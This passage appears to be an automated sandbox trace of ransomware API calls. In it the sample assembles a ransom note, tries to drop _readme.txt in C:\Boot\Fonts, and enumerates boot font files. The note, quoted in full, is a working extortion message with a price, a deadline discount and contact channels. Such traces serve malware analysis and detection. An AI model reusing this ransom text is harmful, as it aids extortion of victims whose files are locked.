unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-514KtsAKtH\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n109AJsd73yiu3hjdfg" [0124.533] lstrcatW (in: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-514KtsAKtH\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n109AJsd73yiu3hjdfg", lpString2="u2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-514KtsAKtH\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n109AJsd73yiu3hjdfgu2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-514KtsAKtH\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n109AJsd73yiu3hjdfgu2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf" [0124.533] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e9bf0 [0124.533] CreateFileW (lpFileName="C:\\Boot\\Fonts\\_readme.txt" (normalized: "c:\\boot\\fonts\\_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0124.534] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9bf0 | out: hHeap=0x5c0000) returned 1 [0124.534] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa550 | out: hHeap=0x5c0000) returned 1 [0124.534] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.534] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076dc8 [0124.534] FindFirstFileW (in: lpFileName="C:\\Boot\\Fonts\\*", lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac276640, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac276640, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x306c8a0 [0124.534] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076dc8 | out: hHeap=0x5c0000) returned 1 [0124.534] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac276640, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac276640, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0124.534] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x64c5ad69, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x385e00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="chs_boot.ttf", cAlternateFileName="")) returned 1 [0124.534] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac191e00, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac191e00, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x6505f253, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x3b27a4, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="cht_boot.ttf", cAlternateFileName="")) returned 1 [0124.534] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac204220, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac204220, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x65274577, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x1e46e4, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="jpn_boot.ttf", cAlternateFileName="")) returned 1 [0124.534] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac22a380, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac22a380, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x6530caef, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x242f20, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="kor_boot.ttf", cAlternateFileName="")) returned 1 [0124.534] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac276640, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac276640, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x65332c4d, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xb95c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="wgl4_boot.ttf", cAlternateFileName="WGL4_B~1.TTF")) returned 1 [0124.534] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac276640, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac276640, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x65332c4d, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xb95c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="wgl4_boot.ttf", cAlternateFileName="WGL4_B~1.TTF")) returned 0 [0124.534] FindClose (in: hFindFile=0x306c8a0 | out: hFindFile=0x306c8a0) returned 1 [0124.534] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.534] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076e40 | out: hHeap=0x5c0000) returned 1 [0124.534] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076e40 [0124.534] PeekMessageW (in: lpMsg=0x398fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x398fb74) returned 0 [0124.534] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076dc8 [0124.534] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0124.535] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.535] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076dc8 | out: hHeap=0x5c0000) returned 1 [0124.535] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076dc8 [0124.535] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0124.535] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.535] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076dc8 | out: hHeap=0x5c0000) returned 1 [0124.535] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076dc8 [0124.535] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0124.535] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.535] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076dc8 | out: hHeap=0x5c0000) returned 1 [0124.535] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076dc8 [0124.535] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0124.535] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.535] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076dc8 | out: hHeap=0x5c0000) returned 1 [0124.535] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076dc8 [0124.535] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0124.535] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.535] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076dc8 | out: hHeap=0x5c0000) returned 1 [0124.535] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076dc8 [0124.535] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e8ae0 [0124.535] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.535] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076dc8 | out: hHeap=0x5c0000) returned 1 [0124.535] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076dc8 [0124.535] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0124.535] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc2e) returned 0x30f90a8 [0124.535] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.535] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0124.535] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076dc8 | out: hHeap=0x5c0000) returned 1 [0124.535] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076dc8 [0124.535] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0124.535] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.536] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076dc8 | out: hHeap=0x5c0000) returned 1 [0124.536] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076dc8 [0124.536] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e8ae0 [0124.536] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.536] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076dc8 | out: hHeap=0x5c0000) returned 1 [0124.536] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076dc8 [0124.536] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x860) returned 0x30f90a8 [0124.536] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0124.536] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076dc8 | out: hHeap=0x5c0000) returned 1 [0124.536] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076dc8 [0124.536] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x860) returned 0x30f90a8 [0124.536] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0124.536] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076dc8 | out: hHeap=0x5c0000) returned 1 [0124.536] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076dc8 [0124.536] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0124.536] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.536] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076dc8 | out: hHeap=0x5c0000) returned 1 [0124.536] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076dc8 [0124.536] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0124.536] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.536] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076dc8 | out: hHeap=0x5c0000) returned 1 [0124.536] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076dc8 [0124.536] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e8ae0 [0124.536] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.536] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076dc8 | out: hHeap=0x5c0000) returned 1 [0124.536] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076dc8 [0124.536] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e8ae0 [0124.536] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.536] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076dc8 | out: hHeap=0x5c0000) returned 1 [0124.536] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076dc8 [0124.536] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0124.537] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.537] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076dc8 | out: hHeap=0x5c0000) returned 1 [0124.537] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076dc8 [0124.537] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0124.537] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.537] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076dc8 | out: hHeap=0x5c0000) returned 1 [0124.537] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076dc8 [0124.537] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0124.537] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.537] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076dc8 | out: hHeap=0x5c0000) returned 1 [0124.537] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076dc8 [0124.537] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0124.537] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.537] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076dc8 | out: hHeap=0x5c0000) returned 1 [0124.537] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076dc8 [0124.537] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0124.537] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.537] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076dc8 | out: hHeap=0x5c0000) returned 1 [0124.537] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076dc8 [0124.537] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0124.537] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.537] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076dc8 | out: hHeap=0x5c0000) returned 1 [0124.537] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076dc8 [0124.537] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0124.537] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.537] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076dc8 | out: hHeap=0x5c0000) returned 1 [0124.537] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076dc8 [0124.537] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0124.537] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc46) returned 0x30f90a8 [0124.537] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.537] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0124.538] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076dc8 | out: hHeap=0x5c0000) returned 1 [0124.538] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076dc8 [0124.538] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0124.538] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.538] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076dc8 | out: hHeap=0x5c0000) returned 1 [0124.538] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076dc8 [0124.538] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0124.538] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc2e) returned 0x30f90a8 [0124.538] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.538] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0124.538] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076dc8 | out: hHeap=0x5c0000) returned 1 [0124.538] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076dc8 [0124.538] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x860) returned 0x30f90a8 [0124.538] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0124.538] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076dc8 | out: hHeap=0x5c0000) returned 1 [0124.538] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076dc8 [0124.538] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x860) returned 0x30f90a8 [0124.538] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0124.538] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076dc8 | out: hHeap=0x5c0000) returned 1 [0124.538] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076dc8 [0124.538] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0124.538] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.538] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076dc8 | out: hHeap=0x5c0000) returned 1 [0124.538] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076dc8 [0124.538] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0124.538] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.538] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076dc8 | out: hHeap=0x5c0000) returned 1 [0124.538] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076dc8 [0124.538] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0124.538] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc46) returned 0x30f90a8 [0124.538] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.539] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0124.539] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076dc8 | out: hHeap=0x5c0000) returned 1 [0124.539] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076dc8 [0124.539] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e8ae0 [0124.539] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.539] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076dc8 | out: hHeap=0x5c0000) returned 1 [0124.539] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076dc8 [0124.539] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e8ae0 [0124.539] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.539] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076dc8 | out: hHeap=0x5c0000) returned 1 [0124.539] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076dc8 [0124.539] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0124.539] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.539] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076dc8 | out: hHeap=0x5c0000) returned 1 [0124.539] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076dc8 [0124.539] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0124.539] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.539] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076dc8 | out: hHeap=0x5c0000) returned 1 [0124.539] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076dc8 [0124.539] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0124.539] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.539] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076dc8 | out: hHeap=0x5c0000) returned 1 [0124.539] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076dc8 [0124.539] RtlAllocateHeap 